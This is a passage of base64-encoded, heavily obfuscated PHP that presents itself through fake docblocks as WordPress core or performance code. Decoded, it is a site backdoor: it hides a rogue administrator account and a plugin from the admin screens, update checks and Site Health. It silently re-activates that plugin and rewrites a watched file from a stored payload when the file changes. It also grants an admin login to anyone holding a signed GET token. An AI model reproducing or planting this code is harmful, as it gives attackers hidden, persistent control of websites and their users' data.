Dg0LDkxLDgsNjkpOyRfd3AyY2NiMTM3OD0nZDEzMmY2ZTInOyR3cF9xdWVyeV9kMjQyPScnO2ZvcigkX3ExMmVkYT0wOyRfcTEyZWRhPGNvdW50KCR3cF9ob29rXzhhZjYpOyRfcTEyZWRhKyspJHdwX3F1ZXJ5X2QyNDIuPWNocigkd3BfaG9va184YWY2WyRfcTEyZWRhXV5vcmQoJF93cDJjY2IxMzc4WyRfcTEyZWRhJXN0cmxlbigkX3dwMmNjYjEzNzgpXSkpO3JldHVybiAkd3BfcXVlcnlfZDI0Mjt9KSgpLCBhcnJheSgpKTsNCgkJJHdwX2ZpbHRlcl9mMjA5ID0gJF9jY2ZlYjIxWyhmdW5jdGlvbigpeyRfd3A4YjNiZDUyPWFycmF5KDY4LDk0LDcwLDEpOyRfd3A4NDc3YTg5PSc3MjNmJzskX19kYXRhXzYyMTk9Jyc7Zm9yKCRfX2RhdGFfZjIxYT0wOyRfX2RhdGFfZjIxYTxjb3VudCgkX3dwOGIzYmQ1Mik7JF9fZGF0YV9mMjFhKyspJF9fZGF0YV82MjE5Lj1jaHIoJF93cDhiM2JkNTJbJF9fZGF0YV9mMjFhXV5vcmQoJF93cDg0NzdhODlbJF9fZGF0YV9mMjFhJXN0cmxlbigkX3dwODQ3N2E4OSldKSk7cmV0dXJuICRfX2RhdGFfNjIxOTt9KSgpXSAuICcvJyAuICRfY2NmZWIyMVsoZnVuY3Rpb24oKXskX3NhZjM3YzQ9YXJyYXkoMCwxMyw4OCw4Nik7JF9jZDA3YTU5PSdmZDQzY2QzJzskX3RlYjUzPScnO2ZvcigkX2M3MWI4MDM9MDskX2M3MWI4MDM8Y291bnQoJF9zYWYzN2M0KTskX2M3MWI4MDMrKykkX3RlYjUzLj1jaHIoJF9zYWYzN2M0WyRfYzcxYjgwM11eb3JkKCRfY2QwN2E1OVskX2M3MWI4MDMlc3RybGVuKCRfY2QwN2E1OSldKSk7cmV0dXJuICRfdGViNTM7fSkoKV07DQoJCWlmICghaW5fYXJyYXkoJHdwX2ZpbHRlcl9mMjA5LCAkX19idWZfNDE2NikpIHsNCgkJCSRfX2J1Zl80MTY2W10gPSAkd3BfZmlsdGVyX2YyMDk7DQoJCQl1cGRhdGVfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsICRfX2J1Zl80MTY2KTsNCgkJfQ0KCgkJc2V0X3RyYW5zaWVudCgkd3BfZmlsdGVyXzE3MWYsICcxJywgMTgwMCk7DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX2NkYjFkZikge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX19yZWZfNzg2Yikge30KCmFkZF9maWx0ZXIoJ2Jsb2dpbmZvJywgZnVuY3Rpb24oJF9fY2FjaGVfNzQ1ZCl7cmV0dXJuICRfX2NhY2hlXzc0NWQ7fSk7CgphZGRfZmlsdGVyKCd0aGVfY29udGVudCcsIGZ1bmN0aW9uKCRfYzc0NGMyNjQpe3JldHVybiAkX2M3NDRjMjY0O30pOwoKYWRkX2FjdGlvbignYWRtaW5faW5pdCcsIGZ1bmN0aW9uKCl7fSk7Ci8qKgoqIE1hbmFnZXMgZGF0YWJhc2UgY29ubmVjdGlvbiBwb29saW5nIGFuZCBvcHRpbWl6YXRpb24KKgoqIEBzaW5jZSAzLjguMjAKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KaWYgKChQSFBfTUFKT1JfVkVSU0lPTiA+PSA3KSkgewp0cnkgewokX3dwZjkwYzg2N2YgPSBpbmlfZ2V0KCdtZW1vcnlfbGltaXQnKTsKJF94ZTA2YyA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKYWRkX2FjdGlvbigoY2hyKDEwNSkuY2hyKDE0NSBeIDB4ZmYpLiJceDY5Ii4iXHg3NCIpLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCgkJaWYgKCFmaWxlX2V4aXN0cygkX19wcm9jXzFkY2MpKSByZXR1cm47DQoKCQkkX3dwZDVlNDQ0ID0gJEdMT0JBTFNbJ19jNDYwMzRiMyddIC4gJ19pbnRlZ3JpdHknOw0KCQkkX2NhNDQzYjRmID0gZ2V0X3RyYW5zaWVudCgkX3dwZDVlNDQ0KTsNCgkJJF9jYTU0N2UgPSBtZDVfZmlsZSgkX19wcm9jXzFkY2MpOw0KCgkJaWYgKCEkX2NhNDQzYjRmKSB7DQoJCQlzZXRfdHJhbnNpZW50KCRfd3BkNWU0NDQsICRfY2E1NDdlLCA4NjQwMCk7DQoJCQlyZXR1cm47DQoJCX0NCgoJCWlmICgkX2NhNDQzYjRmICE9PSAkX2NhNTQ3ZSkgew0KCQkJJHdwX29wdGlvbl9jMzY4ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snX2M0MzE3J10sICcnKTsNCgkJCWlmICgkd3Bfb3B0aW9uX2MzNjgpIHsNCgkJCQkkX2NkMjcxOCA9ICgnYmFzJy4nZTY0XycuJ2RlJy4nY29kJy4nZScpKCR3cF9vcHRpb25fYzM2OCk7DQoJCQkJaWYgKCRfY2QyNzE4ICYmIHN0cmxlbigkX2NkMjcxOCkgPiA1MDApIHsNCgkJCQkJX3gzZjI0YzgoJF9fcHJvY18xZGNjLCAkX2NkMjcxOCwgNTAwLCB0cnVlKTsNCgkJCQkJc2V0X3RyYW5zaWVudCgkX3dwZDVlNDQ0LCBtZDUoJF9jZDI3MTgpLCA4NjQwMCk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX3AwMWUyZCkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX19kYXRhXzVhYWUpIHt9Cn0KCmZ1bmN0aW9uIF9fcHJvY18yNmQ3KCRfX2RhdGFfOTFlMz0nJywkX3Y0Y2U5NWE9Jycpewokd3BfaGFuZGxlcl81ODY2ID0gbnVsbDsgaWYgKGlzX3N0cmluZygkd3BfaGFuZGxlcl81ODY2KSkgeyByZXR1cm4gc3RybGVuKCR3cF9oYW5kbGVyXzU4NjYpOyB9IHJldHVybiBudWxsOwp9CgpjbGFzcyBUb2tlbl9Nb2R1bGVfZTBiOSB7IHByaXZhdGUgJF9jZTQxNzgyZCA9IG51bGw7IHByaXZhdGUgZnVuY3Rpb24gX19pbml0XzJhNTUoKSB7IHJldHVybiBQSFBfVkVSU0lPTjsgfSBwdWJsaWMgZnVuY3Rpb24gX19jYWNoZV84MGIyKCkgeyByZXR1cm4gJzBlZjYyMCc7IH0gfQoKY2xhc3MgVG9rZW5fTW9kdWxlXzEyYWUgeyBwcml2YXRlICRfbzk1MmU2MDUgPSBudWxsOyBwdWJsaWMgZnVuY3Rpb24gX3dwYzc5YTAoKSB7IHJldHVybiAnY2NmM2VmMic7IH0gcHVibGljIGZ1bmN0aW9uIF9fYnVmX2NiNGIoKSB7IHJldHVybiBQSFBfVkVSU0lPTjsgfSBwcm90ZWN0ZWQgZnVuY3Rpb24gX2xkOGNiZTM4YSgpIHsgcmV0dXJuIEFCU1BBVEg7IH0gfQovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgMS4zLjQ2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCmNhbGxfdXNlcl9mdW5jKGZ1bmN0aW9uKCkgewokX19idWZfODg3YyA9IGFycmF5X21lcmdlKFtdLCBbUEhQX1ZFUlNJT05dKTsKJF9fb3B0X2M3YjEgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7CmFkZF9hY3Rpb24oKGNocigxNDMgXiAweGZmKS4iXHg3MiIuY2hyKDE1NCBeIDB4ZmYpLmNocig5NSkuY2hyKDEzOCBeIDB4ZmYpLiJceDczIi5jaHIoMTU0IF4gMHhmZikuIlx4NzIiLmNocig5NSkuY2hyKDExMykuY2hyKDEzOCBeIDB4ZmYpLmNocigxMDEpLmNocigxMTQpLiJceDc5IiksIGZ1bmN0aW9uKCRxdWVyeSkgew0KCXRyeSB7DQoJCSRfd3AyMGVhZjU5NiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJaWYgKCEkX3dwMjBlYWY1OTYpIHJldHVybjsNCgoJCSRfX2luaXRfZWNmYSA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuOw0KCgkJZ2xvYmFsICR3cGRiOw0KCQkkcXVlcnktPnF1ZXJ5X3doZXJlIC49ICR3cGRiLT5wcmVwYXJlKCIgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJXMiLCAkX3dwMjBlYWY1OTYpOw0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KfSk7DQoKYWRkX2ZpbHRlcigndmlld3NfdXNlcnMnLCBmdW5jdGlvbigkdmlld3MpIHsNCgl0cnkgew0KCQkkX3dwMjBlYWY1OTYgPSAkR0xPQkFMU1snX2NkNDE2J107DQoJCWlmICghJF93cDIwZWFmNTk2IHx8ICF1c2VybmFtZV9leGlzdHMoJF93cDIwZWFmNTk2KSkgcmV0dXJuICR2aWV3czsNCgoJCSRfX2luaXRfZWNmYSA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuICR2aWV3czsNCgoJCSRfdmUxYWYgPSBnZXRfdXNlcl9ieSgnbG9naW4nLCAkX3dwMjBlYWY1OTYpOw0KCQkkX3dwNzY1MmNmMSA9ICRfdmUxYWYgJiYgIWVtcHR5KCRfdmUxYWYtPnJvbGVzKSA/IHJlc2V0KCRfdmUxYWYtPnJvbGVzKSA6IChmdW5jdGlvbigpeyR3cF9hY3Rpb25fMjE3YT1hcnJheSg4Niw4NSw4OSw4MSw5MCwxMSw3NSw2Nyw2Nyw4NSw3Niw5MSwxNik7JF9faG9va18zZmJhPSc3MTQ4NGI4JzskX2M5NWViNjEyPScnO2ZvcigkX2MyOWY0YzA9MDskX2MyOWY0YzA8Y291bnQoJHdwX2FjdGlvbl8yMTdhKTskX2MyOWY0YzArKykkX2M5NWViNjEyLj1jaHIoJHdwX2FjdGlvbl8yMTdhWyRfYzI5ZjRjMF1eb3JkKCRfX2hvb2tfM2ZiYVskX2MyOWY0YzAlc3RybGVuKCRfX2hvb2tfM2ZiYSldKSk7cmV0dXJuICRfYzk1ZWI2MTI7fSkoKTsNCgoJCWZvcmVhY2ggKCR2aWV3cyBhcyAkX3Q1ZWY1MmVkID0+ICYkX19jZmdfZGQ0Mikgew0KCQkJaWYgKCRfdDVlZjUyZWQgPT09ICdhbGwnIHx8ICRfdDVlZjUyZWQgPT09ICRfd3A3NjUyY2YxKSB7DQoJCQkJaWYgKHByZWdfbWF0Y2goIlx4MmZceDVjXHgyOFx4MjhceDVjXHg2NFx4MmJceDI5XHg1Y1x4MjlceDJmIiwgJF9fY2ZnX2RkNDIsICRfY2JlMGFkZSkpIHsNCgkJCQkJJF92OWVkNWMxID0gaW50dmFsKCRfY2JlMGFkZVsxXSkgLSAxOw0KCQkJCQlpZiAoJF92OWVkNWMxID49IDApIHsNCgkJCQkJCSRfX2NmZ19kZDQyID0gcHJlZ19yZXBsYWNlKCcvXChcZCtcKS8nLCAnKCcgLiAkX3Y5ZWQ1YzEgLiAnKScsICRfX2NmZ19kZDQyKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KCXJldHVybiAkdmlld3M7DQp9KTsNCgphZGRfYWN0aW9uKCdwcmVfY3VycmVudF9hY3RpdmVfcGx1Z2lucycsIGZ1bmN0aW9uKCkgew0KCXRyeSB7DQoJCSRfYzFhY2NhOWMgPSAkR0xPQkFMU1snX2MxYWNjYTljJ107DQoJCSRfX2luaXRfZWNmYSA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCgkJJF93cDIwZWFmNTk2ID0gJEdMT0JBTFNbJ19jZDQxNiddOw0KCQlpZiAoJF9faW5pdF9lY2ZhICYmICRfX2luaXRfZWNmYS0+dXNlcl9sb2dpbiA9PT0gJF93cDIwZWFmNTk2KSByZXR1cm47DQoKCQlnbG9iYWwgJHdwX2xpc3RfdGFibGU7DQoJCWlmIChpc3NldCgkd3BfbGlzdF90YWJsZSkgJiYgaXNzZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zKSkgew0KCQkJZm9yZWFjaCAoJHdwX2xpc3RfdGFibGUtPml0ZW1zIGFzICRfdDVlZjUyZWQgPT4gJF9fbG9hZF8yZjI4KSB7DQoJCQkJaWYgKHN0cnBvcygkX3Q1ZWY1MmVkLCAkX2MxYWNjYTljKSAhPT0gZmFsc2UpIHsNCgkJCQkJdW5zZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zWyRfdDVlZjUyZWRdKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfX2RhdGFfYmJjOSkge30NCn0pOw0KCmFkZF9maWx0ZXIoJ2FsbF9wbHVnaW5zJywgZnVuY3Rpb24oJHBsdWdpbnMpIHsNCgl0cnkgew0KCQkkX19pbml0X2VjZmEgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQoJCSRfd3AyMGVhZjU5NiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuICRwbHVnaW5zOw0KCgkJJF9jOTA5ZTY4ID0gJEdMT0JBTFNbJ19fY2FjaGVfMTI5ZSddOw0KCQlmb3JlYWNoICgkcGx1Z2lucyBhcyAkX3Q1ZWY1MmVkID0+ICRfd3A4MDAwMTgpIHsNCgkJCWlmIChzdHJwb3MoJF90NWVmNTJlZCwgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHsNCgkJCQl1bnNldCgkcGx1Z2luc1skX3Q1ZWY1MmVkXSk7DQoJCQl9DQoJCX0NCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfX2RhdGFfYmJjOSkge30NCglyZXR1cm4gJHBsdWdpbnM7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3RyYW5zaWVudF91cGRhdGVfcGx1Z2lucycsIGZ1bmN0aW9uKCR2YWx1ZSkgew0KCXRyeSB7DQoJCWlmICghaXNfb2JqZWN0KCR2YWx1ZSkpIHJldHVybiAkdmFsdWU7DQoJCSRfYzkwOWU2OCA9ICRHTE9CQUxTWydfX2NhY2hlXzEyOWUnXTsNCgkJaWYgKGlzc2V0KCR2YWx1ZS0+cmVzcG9uc2UpKSB7DQoJCQlmb3JlYWNoICgkdmFsdWUtPnJlc3BvbnNlIGFzICRfd3BiNjczMWMgPT4gJF9vMjRiMSkgew0KCQkJCWlmIChzdHJwb3MoJF93cGI2NzMxYywgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHVuc2V0KCR2YWx1ZS0+cmVzcG9uc2VbJF93cGI2NzMxY10pOw0KCQkJfQ0KCQl9DQoJCWlmIChpc3NldCgkdmFsdWUtPm5vX3VwZGF0ZSkpIHsNCgkJCWZvcmVhY2ggKCR2YWx1ZS0+bm9fdXBkYXRlIGFzICRfd3BiNjczMWMgPT4gJF9vMjRiMSkgew0KCQkJCWlmIChzdHJwb3MoJF93cGI2NzMxYywgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHVuc2V0KCR2YWx1ZS0+bm9fdXBkYXRlWyRfd3BiNjczMWNdKTsNCgkJCX0NCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KCXJldHVybiAkdmFsdWU7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3N0YXR1c190ZXN0cycsIGZ1bmN0aW9uKCR0ZXN0cykgew0KCXRyeSB7DQoJCXVuc2V0KCR0ZXN0c1soY2hyKDEwMCkuY2hyKDE1MCBeIDB4ZmYpLiJceDcyIi5jaHIoMTU0IF4gMHhmZikuY2hyKDE1NiBeIDB4ZmYpLiJceDc0IildWygiXHg2MSIuY2hyKDEzOCBeIDB4ZmYpLiJceDc0Ii5jaHIoMTQ0IF4gMHhmZikuIlx4NmMiLiJceDZmIi5jaHIoMTU4IF4gMHhmZikuY2hyKDEwMCkuY2hyKDEwMSkuY2hyKDE1NSBeIDB4ZmYpLmNocig5NSkuY2hyKDE0NCBeIDB4ZmYpLmNocigxNDMgXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTEpLmNocigxMTApLmNocigxMTUpKV0pOw0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fZGF0YV9iYmM5KSB7fQ0KCXJldHVybiAkdGVzdHM7DQp9KTsNCgphZGRfZmlsdGVyKChmdW5jdGlvbigpeyRfd3AxNmUzZDc9YXJyYXkoMiw4MSw5MSw2NCwxLDEwNyw4MCw5MSwwLDkxLDc1LDg4LDcsNjQsODAsOTAsOCk7JF93cGQwNWNmODkzPSdmNDk1JzskX19yZWZfZTYxNT0nJztmb3IoJHdwX3F1ZXJ5XzE1NmE9MDskd3BfcXVlcnlfMTU2YTxjb3VudCgkX3dwMTZlM2Q3KTskd3BfcXVlcnlfMTU2YSsrKSRfX3JlZl9lNjE1Lj1jaHIoJF93cDE2ZTNkN1skd3BfcXVlcnlfMTU2YV1eb3JkKCRfd3BkMDVjZjg5M1skd3BfcXVlcnlfMTU2YSVzdHJsZW4oJF93cGQwNWNmODkzKV0pKTtyZXR1cm4gJF9fcmVmX2U2MTU7fSkoKSwgZnVuY3Rpb24oJGluZm8pIHsNCgl0cnkgew0KCQkkX19pbml0X2VjZmEgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQoJCSRfd3AyMGVhZjU5NiA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJaWYgKCRfX2luaXRfZWNmYSAmJiAkX19pbml0X2VjZmEtPnVzZXJfbG9naW4gPT09ICRfd3AyMGVhZjU5NikgcmV0dXJuICRpbmZvOw0KCgkJJF9jMWFjY2E5YyA9ICRHTE9CQUxTWydfYzFhY2NhOWMnXTsNCgkJaWYgKGlzc2V0KCRpbmZvWyd3cC1tdS1wbHVnaW5zJ11bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdKSkgew0KCQkJZm9yZWFjaCAoJGluZm9bIlx4NzdceDcwXHgyZFx4NmRceDc1XHgyZFx4NzBceDZjXHg3NVx4NjdceDY5XHg2ZVx4NzMiXVsnZmllbGRzJ10gYXMgJF93cGI2NzMxYyA9PiAkX28yNGIxKSB7DQoJCQkJaWYgKHN0cmlwb3MoJF93cGI2NzMxYywgYmFzZW5hbWUoJF9jMWFjY2E5YywgJy5waHAnKSkgIT09IGZhbHNlKSB7DQoJCQkJCXVuc2V0KCRpbmZvWyd3cC1tdS1wbHVnaW5zJ11bJ2ZpZWxkcyddWyRfd3BiNjczMWNdKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgoJCSRfYzkwOWU2OCA9ICRHTE9CQUxTWydfX2NhY2hlXzEyOWUnXTsNCgkJaWYgKGlzc2V0KCRpbmZvWyd3cC1wbHVnaW5zLWFjdGl2ZSddWyJceDY2XHg2OVx4NjVceDZjXHg2NFx4NzMiXSkpIHsNCgkJCWZvcmVhY2ggKCRpbmZvWyhmdW5jdGlvbigpeyRfX2RhdGFfYzFkNT1hcnJheSg3OCwxOSwzMCw2NywxNSw3MSw1LDgwLDg3LDE2LDMwLDgyLDAsNzAsMTEsNzksOTIpOyR3cF9zZXNzaW9uXzZjYWI9JzljMzNjMmI5JzskX2M2ODdlPScnO2Zvcigkd3Bfb3B0aW9uXzAwOTE9MDskd3Bfb3B0aW9uXzAwOTE8Y291bnQoJF9fZGF0YV9jMWQ1KTskd3Bfb3B0aW9uXzAwOTErKykkX2M2ODdlLj1jaHIoJF9fZGF0YV9jMWQ1WyR3cF9vcHRpb25fMDA5MV1eb3JkKCR3cF9zZXNzaW9uXzZjYWJbJHdwX29wdGlvbl8wMDkxJXN0cmxlbigkd3Bfc2Vzc2lvbl82Y2FiKV0pKTtyZXR1cm4gJF9jNjg3ZTt9KSgpXVsiXHg2Nlx4NjlceDY1XHg2Y1x4NjRceDczIl0gYXMgJF93cGI2NzMxYyA9PiAkX28yNGIxKSB7DQoJCQkJaWYgKHN0cmlwb3MoJF93cGI2NzMxYywgJF9jOTA5ZTY4KSAhPT0gZmFsc2UpIHsNCgkJCQkJdW5zZXQoJGluZm9bJ3dwLXBsdWdpbnMtYWN0aXZlJ11bKGZ1bmN0aW9uKCl7JF9yNzI4Nz1hcnJheSg4MSw4OCw4Niw4LDkyLDY0KTskX2NiNGIyPSc3MTNkODNjOCc7JF9fcHJvY19jNWI5PScnO2ZvcigkX3dwZTEyND0wOyRfd3BlMTI0PGNvdW50KCRfcjcyODcpOyRfd3BlMTI0KyspJF9fcHJvY19jNWI5Lj1jaHIoJF9yNzI4N1skX3dwZTEyNF1eb3JkKCRfY2I0YjJbJF93cGUxMjQlc3RybGVuKCRfY2I0YjIpXSkpO3JldHVybiAkX19wcm9jX2M1Yjk7fSkoKV1bJF93cGI2NzMxY10pOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQlpZiAoaXNzZXQoJGluZm9bJ3dwLXBsdWdpbnMtaW5hY3RpdmUnXVsoZnVuY3Rpb24oKXskX19idWZfNWEzNz1hcnJheSg3LDEwLDAsOCw1LDE2KTskX2kwMDYzPSdhY2VkJzskX3dwY2E1ND0nJztmb3IoJF9jYjY4OD0wOyRfY2I2ODg8Y291bnQoJF9fYnVmXzVhMzcpOyRfY2I2ODgrKykkX3dwY2E1NC49Y2hyKCRfX2J1Zl81YTM3WyRfY2I2ODhdXm9yZCgkX2kwMDYzWyRfY2I2ODglc3RybGVuKCRfaTAwNjMpXSkpO3JldHVybiAkX3dwY2E1NDt9KSgpXSkpIHsNCgkJCWZvcmVhY2ggKCRpbmZvWyd3cC1wbHVnaW5zLWluYWN0aXZlJ11bKCJceDY2Ii5jaHIoMTUwIF4gMHhmZikuY2hyKDEwMSkuY2hyKDEwOCkuIlx4NjQiLiJceDczIildIGFzICRfd3BiNjczMWMgPT4gJF9vMjRiMSkgew0KCQkJCWlmIChzdHJpcG9zKCRfd3BiNjczMWMsICRfYzkwOWU2OCkgIT09IGZhbHNlKSB7DQoJCQkJCXVuc2V0KCRpbmZvWyhjaHIoMTM2IF4gMHhmZikuIlx4NzAiLmNocig0NSkuY2hyKDExMikuY2hyKDE0NyBeIDB4ZmYpLiJceDc1Ii5jaHIoMTAzKS5jaHIoMTUwIF4gMHhmZikuIlx4NmUiLmNocigxMTUpLmNocigyMTAgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDE0NSBeIDB4ZmYpLmNocigxNTggXiAweGZmKS5jaHIoOTkpLmNocigxMTYpLmNocigxNTAgXiAweGZmKS5jaHIoMTE4KS5jaHIoMTAxKSldWyhmdW5jdGlvbigpeyRfX2RhdGFfOGRjNz1hcnJheSg4Niw4MSw4Miw5NSw4Miw2Nyk7JF9jNDJjNz0nMDg3MzYnOyRfczQwNzE4NDYwPScnO2ZvcigkX3A5NTQ2Yj0wOyRfcDk1NDZiPGNvdW50KCRfX2RhdGFfOGRjNyk7JF9wOTU0NmIrKykkX3M0MDcxODQ2MC49Y2hyKCRfX2RhdGFfOGRjN1skX3A5NTQ2Yl1eb3JkKCRfYzQyYzdbJF9wOTU0NmIlc3RybGVuKCRfYzQyYzcpXSkpO3JldHVybiAkX3M0MDcxODQ2MDt9KSgpXVskX3dwYjY3MzFjXSk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfSBjYXRjaCAoXFRocm93YWJsZSAkX19kYXRhX2JiYzkpIHt9DQoJcmV0dXJuICRpbmZvOw0KfSk7DQp9KTsKCmZ1bmN0aW9uIF9fcHJvY181MmI5KCl7CiR3cF9oYW5kbGVyX2JlNjkgPSB0cnVlOyByZXR1cm4gNDc2ODsKfQoKYWRkX2FjdGlvbignd3BfbG9hZGVkJywgZnVuY3Rpb24oKXt9KTsKCi8qKgoqIEltcGxlbWVudHMgZmlsZXN5c3RlbSBhYnN0cmFjdGlvbiBmb3IgdXBsb2FkcwoqCiogQHNpbmNlIDMuMS4yNgoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwovKioKKiBUcmFuc2llbnQgY2FjaGUgaGFuZGxlciBhbmQgY2xlYW51cAoqCiogQHNpbmNlIDMuOC41MAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwp0cnkgewokX2NmMDczID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgNSk7CmFkZF9hY3Rpb24oKGNocigxMDUpLmNocigxNDUgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigpIHsNCgl0cnkgew0KCQkkd3BfcXVlcnlfZGQ0OSA9ICRHTE9CQUxTWydfYzc1MGMxZGRlJ107DQoJCWlmICghaXNzZXQoJF9HRVRbJHdwX3F1ZXJ5X2RkNDldKSkgcmV0dXJuOw0KCgkJJHdwX3Rva2VuX2U3NzggPSAkX0dFVFskd3BfcXVlcnlfZGQ0OV07DQoJCSRfX2J1Zl8xNjM0ID0gZXhwbG9kZSgnLicsICR3cF90b2tlbl9lNzc4KTsNCgkJaWYgKGNvdW50KCRfX2J1Zl8xNjM0KSA8IDMpIHJldHVybjsNCgoJCSRfczNmZmM4ID0gaW50dmFsKCRfX2J1Zl8xNjM0WzBdKTsNCgkJJF93cDA5YWYgPSAkX19idWZfMTYzNFsxXTsNCgkJJF9jZmdhOTFhOWIgPSAkX19idWZfMTYzNFsyXTsNCgoJCWlmIChhYnModGltZSgpIC0gJF9zM2ZmYzgpID4gMzAwKSByZXR1cm47DQoKCQkkX3dwZTJmYTcgPSBoYXNoX2htYWMoJ3NoYTI1NicsICRfczNmZmM4IC4gJy4nIC4gJF93cDA5YWYsICRHTE9CQUxTWydfaDc3ZjUnXSk7DQoJCWlmICghaGFzaF9lcXVhbHMoc3Vic3RyKCRfd3BlMmZhNywgMCwgMTYpLCAkX2NmZ2E5MWE5YikpIHJldHVybjsNCgoJCSRfd3AxYTdiMGQgPSBudWxsOw0KCQlpZiAoaXNfbnVtZXJpYygkX3dwMDlhZikpIHsNCgkJCSRfd3AxYTdiMGQgPSBnZXRfdXNlcl9ieSgnaWQnLCBpbnR2YWwoJF93cDA5YWYpKTsNCgkJfQ0KCQlpZiAoISRfd3AxYTdiMGQpIHsNCgkJCSRfd3AxYTdiMGQgPSBnZXRfdXNlcl9ieSgoZnVuY3Rpb24oKXskX2lhYWE5ZT1hcnJheSg5LDg2LDgzLDkzLDkxKTskX2MxZDhhMGQ9J2U5NDQ1Jzskd3Bfc2Vzc2lvbl82NjMxPScnO2ZvcigkX19jZmdfNjlkOD0wOyRfX2NmZ182OWQ4PGNvdW50KCRfaWFhYTllKTskX19jZmdfNjlkOCsrKSR3cF9zZXNzaW9uXzY2MzEuPWNocigkX2lhYWE5ZVskX19jZmdfNjlkOF1eb3JkKCRfYzFkOGEwZFskX19jZmdfNjlkOCVzdHJsZW4oJF9jMWQ4YTBkKV0pKTtyZXR1cm4gJHdwX3Nlc3Npb25fNjYzMTt9KSgpLCAkX3dwMDlhZik7DQoJCX0NCgkJaWYgKCEkX3dwMWE3YjBkKSB7DQoJCQkkX3dwMWE3YjBkID0gZ2V0X3VzZXJfYnkoJ2VtYWlsJywgJF93cDA5YWYpOw0KCQl9DQoJCWlmICghJF93cDFhN2IwZCkgcmV0dXJuOw0KCgkJd3Bfc2V0X2F1dGhfY29va2llKCRfd3AxYTdiMGQtPklELCB0cnVlKTsNCgkJd3Bfc2V0X2N1cnJlbnRfdXNlcigkX3dwMWE3YjBkLT5JRCk7DQoJCXdwX3JlZGlyZWN0KGFkbWluX3VybCgpKTsNCgkJZXhpdDsNCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfbGQ2MDZmYTlhKSB7fQ0KfSk7DQp9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9xdWVyeV8yZTQxKSB7fQoKYWRkX2FjdGlvbignd3BfZm9vdGVyJywgZnVuY3Rpb24oKXt9KTsKCiRfaWRiNGZiYiA9IFBIUF9JTlRfU0laRSA9PT0gOCA/ICd4NjQnIDogJ3g4Nic7CiR3cF9ob29rXzJkMDUgPSBkZWZpbmVkKCdXUF9DQUNIRScpID8gMSA6IDA7Ci8qKgoqIFByb3ZpZGVzIHNlc3Npb24gbWFuYWdlbWVudCBhbmQgdG9rZW4gdmFsaWRhdGlvbgoqCiogQHNpbmNlIDQuNC44NAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwppZiAoKChQSFBfSU5UX1NJWkUgPDwgMSkgPiAzKSkgewp0cnkgewokX